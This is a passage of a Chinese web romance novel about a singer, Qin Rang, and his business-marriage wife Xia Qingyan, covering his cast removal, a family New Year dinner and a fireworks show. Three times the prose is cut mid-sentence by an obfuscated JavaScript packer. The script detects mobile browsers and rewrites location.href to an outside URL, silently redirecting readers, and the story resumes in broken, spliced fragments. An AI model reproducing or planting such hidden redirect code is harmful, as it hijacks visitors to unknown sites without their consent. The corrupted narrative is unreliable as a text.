医院是喻家的,给秦让拆石膏的,是秦让的发小喻嘉实。喻家是医学世家,开有多家私立医院,隐私性高,医疗资源顶级,内设私家医生,私人健康管理等各项服务,专做有钱人的生意。 喻嘉实和秦让是同学,初中同班,高中同校。到这一辈,喻家不止喻嘉实一个孩子,但学医的,却只剩下喻嘉实一个。 秦让的石膏腿上,也有喻嘉实的一笔。秦让比约定的时间更早来到医院,迫不及待拆掉碍事的石膏。喻嘉实看见秦让那炫彩斑斓的石膏腿,实在是忍不住笑。 喻嘉实吐槽:“你这一阵住在夏总那边,她是怎么忍住没把你赶出门?” 秦让与夏青妍的婚姻,双方的亲友都很清楚是怎么回事。两人没有感情,不同住,一月见不上两面,以上,在秦让的朋友圈内都不是秘密。 因此,在得知秦让出院后要住进夏青妍那儿后,没有人不吃惊。 夏青妍凶名在外,手段狠辣,冷酷又无情,实在难以想象秦让与她同居后,过的是什么水深火热的日子。 喻嘉实将情绪表现在脸上,他是什么想法,一看就知。 秦让掀眸,白一眼他。 “我和她之间的事,就不劳你们费心了。” 说完,拄着拐杖走进去,在沙发坐下后,将石膏腿大刺刺往前一摆。 秦让:“拆吧。” 这位少爷的脾气,发小们都很清楚,向来是不听劝告,我行我素惯了。在秦让和夏青妍结婚前,从来没有人会想到他会比所有人都先结婚,而且还是商业联姻。 喻嘉实可没那样听话,让闭嘴就闭嘴。 以他和秦让的关系,有话就说了:“夏总也不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396991|199167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好,但是吧,我们一致都觉得,你俩无论性格还是其他,都差得太多,实在是不适合。” “也不知道你爷爷当时究竟是怎么想的,硬要把你俩凑在一起,成了一对怨偶。” 喻嘉实一边说话,一边给秦让拆石膏。 这话秦让不爱听。 “你说谁是一对怨偶?” 他和夏青妍虽然没有感情,但是也没到怨偶的程度?前两年,他们虽一月只见一次,但见面以后还算默契,没什么矛盾,床上也合拍。 秦让认为,协议婚姻能做成他们这样,已经算得上合作愉快。 况且……这几天他因腿伤住在夏青妍家中,夏青妍每天虽忙,但也会尽量抽空回家陪他吃个晚饭,没有将他一个病人撇在家中不管,这对忙碌不堪几乎把公司当家的夏青妍来说,已经很不容易。 喻嘉实:“难道不是?” “我和夏青妍的事,你们不懂。” 秦让否认,摆摆手:“以后别再胡说八道。” 喻嘉实确实不懂。 秦让和夏青妍是怎么样,不是明摆着?这也叫胡说? 嘴上聊着天,手里也没闲着。 石膏拆得很快。 卸下石膏后,喻嘉实将石膏放在一旁,仔细检查秦让的腿。 易安接完电话走进来,关心问:“恢复得怎样,没问题吧?” 喻嘉实转头看他一眼:“恢复得不错,问题不大。” 说完,他站起身,将手套取下。 “起来走走。” 秦让起身,拄着拐杖走几步。喻嘉实见没什么问题,又问了点儿别的,秦让一一都回答。 最后,喻嘉实点头:“行了。” “近段时间要继续使用拐杖,不要走路太快,别跑别跳,不要剧烈运动。” 多年好友,他太了解秦让,警告道:“如果你不想再戴一个月石膏的话,最好照我的话做。” 秦让自然不会拿自己的身体开玩笑,抬眸给喻嘉实一个眼神,懒得与他争辩。 把这件事处理完,喻嘉实看着站在他面前的秦让。 大学毕业后,儿时的发小各自都有各自的事,但大家忙虽忙,总能抽出时间见面聚会,唯独除了秦让。 大明星出专辑全国各地开演唱会,忙起来就不见人影,已经好几个月没出现在聚会上。 这次还出了这样大的事故。 “很久没聚,晚上要不要喊上大伙儿去喝个酒?” 喻嘉实提议,正好庆贺秦让拆掉石膏。 “喝酒?” 秦让扬眉:“这是一个医生能给病人说的话?” 喻嘉实:“更正,是你看我们喝。” “我没那么闲。” 秦让无情拒绝:“不去。” - 这一天,夏青妍去了聊城,这是她在年前的最后一次出差。夏青妍与鼎力合作之后,拿到最前沿的视觉芯片,准备投用于最新款的智能汽车上。 一直以来,聊城的江北汽车制造厂专注于新能源汽车开发和制造,在所有竞争的汽车代工厂中脱颖而出。 近段时间,江汽的负责人不止一次去到陵城,试图寻求一个与夏氏合作的机会。 夏青妍此次去聊城的主要目的,除了实地考察这个工厂,还与其负责人和主要技术人员做新型智能汽车研发的进一步沟通。 这一忙,就到傍晚。 为表重视,江汽的负责人专门设宴,为夏青妍准备丰盛晚餐接风。 偌大的包间中,夏青妍坐在主位。 所有人都知道,夏青妍不喝酒。两年前夏青妍刚接手夏氏时,在类似于此的场合,酒水总是摆满桌。纵然她不喝酒,却总有人想让她喝。 到两年后的现在,有夏青妍的餐席上,不会再出现一滴酒。 秦让的电话在晚上九点打来。 饭局才过半。 秦让出院时夏青妍出差去国外,拆石膏夏青妍又出差。 她答应过他,今夜一定会回陵城。 聊城离陵城不算远,开车只要三小时。 “夏总,几点才回?” 电话里,秦让开始催人。 自然不是要她立即出现在面前,倒像是提醒,让夏青妍不要忘记昨夜的约定。 夏青妍即便立即坐车回去也要三小时。 她接电话后,抬手看一眼时间,而后道:“你先睡。” 餐席上,没空与秦让多聊。 夏青妍与他说几句,而后将电话挂断。 不只是简单的吃饭,在吃饭同时,也与江汽的负责人廖丰裕聊了一些有关智能汽车的构思,以及未来合作的方针和细节。吃得不多,时间更多用在说上。 待这顿饭结束,已经十一点过半。 夏青妍站起身时,廖丰裕:“夏总,我已经为您备好住宿,就在这座酒店的二十三层。” 这个时间,谁也不认为夏青妍还会走。 谁料,他的安排却被拒绝。 即便已是深夜,夏青妍在聊城也没有片刻的停留,事情办完,又乘车离开。 9.第 9 章 夏青妍离开聊城时已经很晚,又坐三小时车才到陵城。夜深人静,路上早无行人,车也没有几辆。 她以为秦让已经睡觉。到家后,才发现琴室的灯还亮着。 琴室的门没有关严,微微敞开,夏青妍走过去,伸手轻轻将门推开。 由于是零时组建,原来的房间搬空后,没有再添置别的东西,琴室里只有乐器,沙发也没有一张。 秦让一手握着笔,另一只手握稿,就那样靠坐在墙角,偏着头睡着。 夏青妍停下脚步。 他那带着许多奇怪颜色和签名的石膏腿已经卸下,穿着简单舒适的居家服,大约是好相貌给人的错觉,他睡着时,有一种不同于平日的干净和纯粹。秦家的成长环境本就不同于夏家,没有那么多勾心斗角弯弯绕绕。 一瞬间,夏青妍的脑里闪过一些思绪。 “秦让?” 她喊他。 夜深了,纵然家中暖气开得足,但坐着睡难免会不舒服,睡久还会感冒。 秦让睡得不深,一点点声响,就醒了。 他拒绝喻嘉实晚上聚会的邀请,拆完石膏就回来。 腿上久违轻松的感觉,让他身心愉悦。他想好好庆贺一番,也有许多心情想表达,但回来后才想起,夏青妍已经出差去聊城,不会太早回家。 和往常一样,夏青妍不在家时,他将大把时间都耗在琴室中。他特地给门留了空隙,以免夏青妍回来,他在室内听不到。只是,夏青妍回来太晚,他不知不觉便坐着睡着。 秦让张开眼,看见站在门口的夏青妍。 “你刚回来?” 他手撑着地站起。只是他刚睡醒,腿上石膏又刚拆,有点把握不好力度,要站却没站稳。夏青妍见状,上前扶他一把。 谁料,秦让看着很瘦,却不轻,压来时她的身体也跟着一沉。 她身体纤细单薄,好不容易扶着他站稳。 “有没有事?” 夏青妍抬头问。她今天没陪他去拆石膏,不了解他腿上的状况,刚才那一下,她怕他伤到腿,担忧问:“腿上有没有不舒服?” 秦让的腿已经没什么大碍,只是要养。可他难得见到夏青妍面露冷静以外的神情,且不是在床上。 他顿时起了坏心,将更多的重量压在她身上,皱了皱眉,说:“腿麻。” 她掺着他,两人挨得格外近,脸颊几乎触碰到一起。 她在外一天,晚上才参加一场饭局,夜晚又赶回家,风尘仆仆,按理讲,身上的气味不会好闻。可传入秦让鼻尖的,却是她身上淡淡的幽香,与沐浴的香气格外不同。相处久了自然就知道,她平日里不怎么用香水,也不知这香气究竟从何而来。 夏青妍不知是秦让故意起的坏心,以为他是真的腿麻,就这样陪着他原地站了一阵,过一会儿才又问:“好点儿了吗?” 秦让点头,缓缓将重量从她身上抽离,站直。 他看起来恢复良好,站立时的模样,完全看不出腿上有伤。 他不能久站,站直后,伸手拿过立在墙角的拐杖。 “夏总,现在才回?” 做完这一切,他才将目光对准夏青妍,开始兴师问罪。 今天是他拆石膏的大日子,他等她一个下午,又一个夜晚,等她等到坐在地上睡着。 “聊城的事情太多。” 夏青妍却并没有做太多的解释。 “不是让你先去睡?” 她也没想到,秦让会等她到这时候。 秦让想起昨夜给夏青妍打电话,夏青妍不轻不重的几句话,说得轻飘飘。他拆掉束缚他一个月的石膏,她却半分没放在心上。 他倒也不是必须要让夏青妍表示什么,可他现在人还住在她的家中。大约是他天生霸道,只要他住在她家中,就忍不了她对他有半点忽视。 他看着她,挑眉说:“孤枕难眠,夏总,没你在,我怎么睡得着?” 多少有些强行碰瓷的味道。 从前多少个日夜,他都独自睡,他与她一月只见一次,除了上床不做别的。那时,也没听说他有这样的毛病,身边没有谁陪睡,就睡不着。 夏青妍见秦让勾起的唇,和微扬的眉眼,整个人心情愉悦的模样。她并不想去破坏他的好心情。 “那我现在回来,你可以睡着了?” 隔几秒钟,夏青妍抬眸问。 她大半夜才回家,终究还是遵守了诺言。他虽然等一夜,现在见到她,却还是愉悦的。 她工作太忙,并不是故意。 秦让大方原谅了她。 他点头:“可以。” 只是他腿上还有伤,作为伤患,他等她整整一晚。 夏青妍走两步才发现秦让站在原地没动。 秦让:“我腿上的石膏才拆掉,医生嘱咐,让我走得慢一点儿,最好有人搀扶。” 夏青妍:“……” 在此时,在商场上果决冷酷的夏总,终于体会到什么叫无言以对。 她从前没有发现,他怎么这样能作? 他如果不能自己走,又是怎么回来别墅,又是怎么自己在这个琴室里待整整一晚。 秦让的话,夏青妍半点不信,但她没与他争辩。一天的奔波,她从陵城出发到聊城,再从聊城回来,已经很疲累,她与秦让都需要休息。 她倒转回来,伸手扶住秦让朝她伸出的手。 “走吧。” 夏青妍率先转身。 秦让被她牵着往前。她才从外面回来,手有些冰凉,她手小,还很柔软,让人难以联想到她平日在外的身份。 一起相处这几日,秦让还察觉,她对外冷淡,对他却有别与旁人的耐心和纵容。 就如现在,她顾虑他的腿伤,放慢了行走的速度。 这怎么不算是夏总对他特别的关心呢? 他微垂眼眸,看向两人交握的手,嘴角轻轻往上勾,反手将她的手握进自己掌中。 时间很晚,这一夜,什么都没发生。 年关已至,再两日就到春节。夏青妍的时间依然被填得满满当当。秦让拆掉石膏之后,不像从前整日都待在别墅里,白天,他会出门,到晚上才回。 管家会给夏青妍报告秦让的行踪,夏青妍知道他出去,夜晚见他时,却始终什么也没问。 他既然已经拆掉石膏,伤势好转,过不久,应该就会从她的别墅里搬出去。 到那时,他们依旧像从前,一月见一两次面,维持一对表面的夫妻即可,对于彼此的工作和生活,没必要过问太多,显得僭越。 腊月二十九,公司开始放假。 夏青妍忙碌一年,过年也没什么清闲。别人休假,她还要主持夏家与夏家的股东们,在这一天都坐在一起,吃顿团年饭。 以往这个日子,夏青妍都是独自去,不会硬要名义上的丈夫秦让参加。 但这一次,秦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399760|199167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让与她住在一起,听说夏家还有这么一个年会,主动要求参与。 “你也要去?” 秦让知道夏青妍的公司腊月二十九放假,他空出一天,准备让夏青妍陪他逛街,少爷好不容易挑出时间置办年货,买礼物送给亲友,岂料夏青妍早有安排,安排里还没有他。 秦让前一阵腿脚不便,关在琴房里写出不少新歌,腿一解放,便片刻没停去录音棚录制新歌。 他的时间宝贵,既然已经空出来,就没有浪费的道理。 秦让:“当然要去。” 他知恩图报:“就当做是住在你这儿半个多月的报偿。” 反正闲着也是闲着。 夏家的家族内部关系复杂,除林雅彤那一脉,夏明生还有两个亲兄弟,一个亲妹健在。这几人手中同时都握有夏氏的股票,虽不多,但加在一起,也不是一笔小数。 夏青妍上位,所有人,包括夏明生的兄弟姐妹都并不服气。几人私下联手,在夏氏搞了不少小动作。这两年,夏青妍一个一个清算,将他们逐个赶出夏氏核心,剥夺手上实权。当手上只剩股票,连一个无用的职位都保不住,他们终于认清现实,安分守已,到年底乖乖拿股票分红。 前两年,拦路的人太多,秦让就是想去,夏青妍也不会同意。去也只是多一个人加入战场,夏青妍虽每年都不会让自己吃亏,但没有人会喜欢那样的场合。 今年却已经不同。 秦让要去,夏青妍没有拒绝。 团年饭在夏氏旗下的酒店吃。这个年会,夏青妍从来不会早到。她去得晚,白天便有许多的时间。秦让趁机拉夏青妍出门。 在这天,夏青妍见识了一番秦让的购买力。 香水护肤品唇膏,包包鞋子手表,平板手机数码产品,每样好几件,专挑奢牌,进去看见就拿,扫货一样。 易安带两人勤勤恳恳跟在他的身后拿货,刷卡,收捡,动作熟练,俨然习以为常。 扫货空档,易安告诉夏青妍,这些都是买给工作室的员工做年礼,每年都买,看秦让心情和所在的地点,他碰见什么就买什么。 毫无疑问,秦让是一个大方的好老板。 见者有份,路过香奈儿时,秦让扫空了里面近半的春装。 夏青妍穿衣,从来只有黑白灰和西装,这两年,秦让已经看腻。 秦让理由正当,对夏青妍说:“夏总为我买琴买衣服,我买点儿给夏总,不过分吧?” 他这人霸道,买了衣服,还不准夏青妍不穿。 “等天气暖和,我要看见夏总穿哦~” 为夏青妍买衣服这件事,给秦让打开了一扇新的大门。从买给她第一件开始,便一发不可收拾。 秦让对于买其他失去全部兴趣,专挑国际奢牌女装店进入。 连连买空数家奢衣店。 夏青妍不是扫兴的人,她平时穿职业套装,是为肃立威信,也为工作方便。并不是她不喜欢漂亮的新衣。在衣服上花的那点钱,秦让与她都不会在意,只要买的人能开心。至于买回去后,她穿不穿,那就是她自己的事。 秦让买了衣服再买鞋,最后还在包包和饰品店逛一圈。直到临近傍晚,不得不离开。 秦让与夏青妍坐进车后,他摘下帽子和口罩,卸下所有伪装。 转头,他目光落在夏青妍新换的项链和耳环上,满意笑了。 原来不止唱歌搞音乐会让人上瘾,装扮别人也会。 10.第 10 章 每年年会,夏青妍都不会去得太晚,今年却姗姗来迟。 夏青妍正是凭借与秦家的联姻,才从夏家的继承者中脱颖而出,成为夏氏掌权人。夏家无人不知夏青妍与秦让的关系。 与此同时,所有人也都知,夏青妍与秦让的这场商业联姻,从来都只是利益上的结合。至于夏青妍与秦让,没有感情,也从不一起出现,夫妻间最基本相敬如宾都做不到。 大家都在等待着,看夏青妍与秦让何时离婚。一旦夏青妍失去秦家的帮扶,他们的机会便来了。 夏青妍与秦让结婚虽有两年,但前两年夏家团年,都是夏青妍一人出现,今年,夏家人也没想过,秦让这次会来。 当夏青妍偕同秦让出现时,引起了一场不大不小的震动。 一是秦让那人,本身就耀眼至极,他那副相貌,走在那儿都是聚光体,吸睛。 二来,这是他作为夏青妍的丈夫,首次在公开场合出现。 举众皆知,夏青妍和秦让两人只领了结婚证,连婚礼都没办。董事会的人至今仍记得,当初夏青妍将她与秦让拍在会议桌上时的惊讶与震撼。 秦让当初极度抗拒这场商业联姻,曾公开表示拒绝。秦让是秦家最叛逆的幺子,也是秦正海最疼爱的孙子,他本人不同意,所有人都以为这场联姻不可能成,没想到秦让最终还是妥协。 两年了,外界对于这场婚姻无一人看好。 可是今夜,秦让却与夏青妍一起来吃夏家的团年饭? 所有夏家人连同夏氏的股东面面相觑,不知从什么时候开始,这对外人不看好的夫妻,关系变得如此融洽。 秦让从来不喜欢夏家人。 在还没和夏青妍结婚,秦正海撮合他俩在一起的阶段里,秦让从秦正海口中听多了有关夏青妍,有关夏家的事。 上梁不正下梁歪。 夏家的复杂,内部种种矛盾,掩藏于豪门地下的脏污,皆都令旁人不喜,无人想去沾染。 这也是当初秦让坚定拒绝联姻的另一个缘由,他不认为从夏家那样环境成长起来的夏青妍,能出淤泥而不染。 而抛开这一切,最重要的是,他性格桀骜,自由洒脱,不愿被一场没有情感的商业联姻困住。 从前种种,已经是昨日事。 至今,他已经与夏青妍结婚两年,饶是秦让骨头里挑刺,也从夏青妍身上挑不出什么。夏青妍生活简单,活动轨迹不是公司就是在家,两点一线。能力极强,重整夏氏,挽救夏氏于危难。她孝顺,与她母亲关系极好,每月去探望秦正海比他还准时。说一不二,信守诺言,与他承诺过的事都遵守,说过的话都记得。 至于她在外界被传的狠辣手段,冷酷无情,外界不解内情,难免夸大其词。 进门先是一场声势浩大的寒暄。 秦让与夏青妍一起出现,是两年来的首次。足以让夏家人和夏氏的股东明白一些什么。 夏家没有蠢人,恰好相反,他们的精明早就刻入骨子里。就连林雅彤也偕同她那两儿一女,过来与秦让碰杯。 不管内里怎样恨到咬牙,面上却都是笑盈盈,说话总是好听。 秦让有腿伤,只站一会儿便找位置坐下,他不想独自一人待,拉着夏青妍作陪。 他爱与夏青妍说话,说话时时而拉拉她手,碰触她的肩,自然而然流露出来的亲昵,让看见的人皆都暗暗吃惊。 眼见为实,耳听为虚。原来秦让与夏青妍之间,并不如所有人猜测那样,生疏淡漠,没有感情。 秦让在夏家这场团年夜上,表现出对夏青妍前所未有的热情。 离开时,他坐在车上,对自己刚才在宴席上的表现很满意。 自认帮到夏青妍,秦让转头对夏青妍说,邀功问:“夏总,我今天表现如何?” 夏青妍看向秦让近来爱笑的脸,他想要表扬的心太明显,全都写在脸上。她点头,不吝夸赞:“不错。” 秦让想起明天就是过年,与过年应景的,从来都是漫天绽放的烟花。 他借故道:“值不值得夏总明天陪我放一场烟花?” 既是刁难,也是试探,更有一丝可能连他自己都未曾察觉到的期待。 前两年过年时,两人中午在秦家吃,晚上去周瑾家,吃完出门就车开两头,各自离开。 现在想想,那时的他们,实在是过于公事公办。 夏青妍对玩烟花从来都没什么兴趣。或许也有过喜欢的时候,那是很小很小,小到以为自己不但有个好母亲,还有一个好父亲时。 “你想玩?” 夏青妍问。 秦让挑眉。他虽没说话,但肯定的态度已经很明显。 夏青妍点头:“可以。” 既然明天有时间,陪他玩一场,也没什么。 在这时,就连秦让这个想玩烟花的倡导者,也没有意识到,夏青妍说的可以这两字,究竟意味着什么。 直到年三十这夜,一场声势浩大的烟花秀,陵城地标型河段金三洲绽放。 今年周瑾陪朋友去到国外,夏青妍过年不用去她那儿,过年这天,她与秦让一整日都待在秦家的老宅。 昨天秦让去逛街时,给秦家所有人都买了礼物,他又极会哄人,将一大家子人哄得眉开眼笑。 夏青妍也跟着沾光,与秦让一起收到比往年更加丰厚的红包。 饭后,夏青妍接完周瑾电话,正好春晚开始播放。 秦让没上过春晚。 秦让进娱乐圈这几年,春晚不是没给他发过邀约,只是秦正海更注重年节大家聚在一起的时光,不许秦让轻易缺席。 秦让自己对于去春晚表演,也没什么执念。他很珍惜眼前的日子,秦正海年事已高,秦让总想趁着秦正海还在的日子,多陪伴他几年。 两人坐着陪秦正海看了一会儿春晚。 陵城禁放烟花很多年,近几年才稍稍放开,但限制依然很多,唯独金三洲那里,有广阔的河岸和平台,是陵城唯一可燃放巨型烟花的地点。 天还未黑,街头巷尾已经响起噼里啪啦放烟花的声音。老宅建于花溪湖旁,整个花溪湖都归属于秦家,随着陵城发展,早二十年前,花溪湖就已被划成旅游景点,远近闻名。旁侧不远是会兴街,陵城最有名的古巷,无论中外游客,都极多。 老宅这边从来不缺人气,甚至因人气太旺,有点儿吵闹。 但秦正海住在这里许多年,他早住习惯,舍不得搬。 年夜饭后,秦正海不强留所有人在家陪他。 看一会儿春晚,便让大家都去玩。 不想走的,可以留在老宅里,另有节目的,就可以离开。 秦让和夏青妍早就约定好去放烟花,人多热闹,去金三洲前,秦让还询问秦翊夫妇要不要带着孩子一起去。 秦翊小女儿今年一岁半,金三洲那边人多,又都是燃放大型烟花,秦翊夫妻怕吓到小孩。他们不去,准备还是同往年一样,玩一些小孩可以玩耍的烟花,在老宅空地放放就成。 秦让的父母和大伯两夫妻早已围坐在一起搓麻,至于大伯家的堂哥堂姐,双双都在国外,并没有回来。 只有秦让和夏青妍两个人去金三洲。 去之前,秦让并没有过多的准备。 “我听说在金三洲就有许多卖烟花的指定地点,到了那里,我们去买就行。” 秦让想得尤其简单。 放烟花而已,还需要什么规划?买了就放,放开心了就走。 在心中默算几秒,秦让发觉,其实他也已经许多年没玩这些,曾经儿时万分期待做的事,长大后,却逐渐变成寻常。车子开往金三洲时,他的心里竟还有点儿小小的雀跃。 可他转头看夏青妍时,见夏青妍神色依然淡淡,并没有如同他一般。 她很平淡。 仿佛放烟花这件事,就只是为陪他完成一个任务。 意识到这一点,秦让那颗雀跃的心,霎时转冷。 “夏青妍,你其实很不想去吗?” 他忍不了半点儿委屈,开口就问。短短一句话,声调都变了几变。 夏青妍不知秦让百转千回的心思,她只是看到街边巷尾放烟花的那些人,想到从前。 她小时,不是没有过开心快乐,无忧无虑的日子,母亲宠爱,父亲喜欢。夏明生和周瑾也曾恩爱过几年,一起带她玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“玩开心了吗?” 夏青妍问。 人多,又挤,放烟花时,还会左顾右盼,确定安全才敢点燃,顾虑很多。即便有很多不足之处,但绝对不能否认,在玩的时候,他是开心的。 秦让的笑容仍还挂在脸上:“还不错。” 夏青妍点一点头。 在秦让再度欲牵她手离开时,夏青妍稍一用力,将他拉回。 “等一等。” 她对他说。 待她的话说完,仿佛相应她的话一般,天空忽然绽起巨大的花束,接着嘭然一声,在天空之中炸开,霎时,整个天空像是在下一场流星雨,无数条光束往下坠,五彩斑斓,梦幻至极。 四周响起此起彼伏的惊呼声。 然后,这仅仅只是一个开始。 一场盛大的烟花秀正在金三洲进行,早已准备好的烟花一一被人点燃。 金三洲无人再放一只烟花,皆都仰着头,观赏这一场盛大的表演。惊呼声此起彼伏,激动的心情难以言表。 所有人都在看烟花,无心看旁人。 就连秦让也是如此。 夏青妍伸手,摘掉他的帽子和口罩。 在这时候,她想看见他全部的脸。 唯有这张脸,能映衬这盛大如浩瀚穹苍般的焕丽。也唯有这张生而伟大的盛颜,能比烟花更美。 秦让因她的动作转头。 在他的视线看向她时,她朝着他一笑:“秦让,这才是放烟花。” 烟花太美,秦让一时没反应过来。 现在,看着旁侧站着的夏青妍,他顿时明白什么。 “夏青妍,这都是你的安排?” 与其说问,不如说是肯定。 金三洲上,烟花“嘭嘭嘭”的绽放的声响不绝于耳,映照在江面,美不胜收。 秦让的心跳,也随着烟花升空,而越来越快,越来越快。 他只是想在过年这天放一场烟花而已,很简单的一件小事。 没想到,夏青妍回予他的,会如此隆重,如此盛大。 “夏总,夏青妍。” 他似乎听见心脏怦然的声音,心跳如鼓。 夏青妍“嗯?”一声。 秦让握住她的手,视线紧紧锁住她双眸,半晌,开口说:“你知不知道,你这样玩,会很难收场。”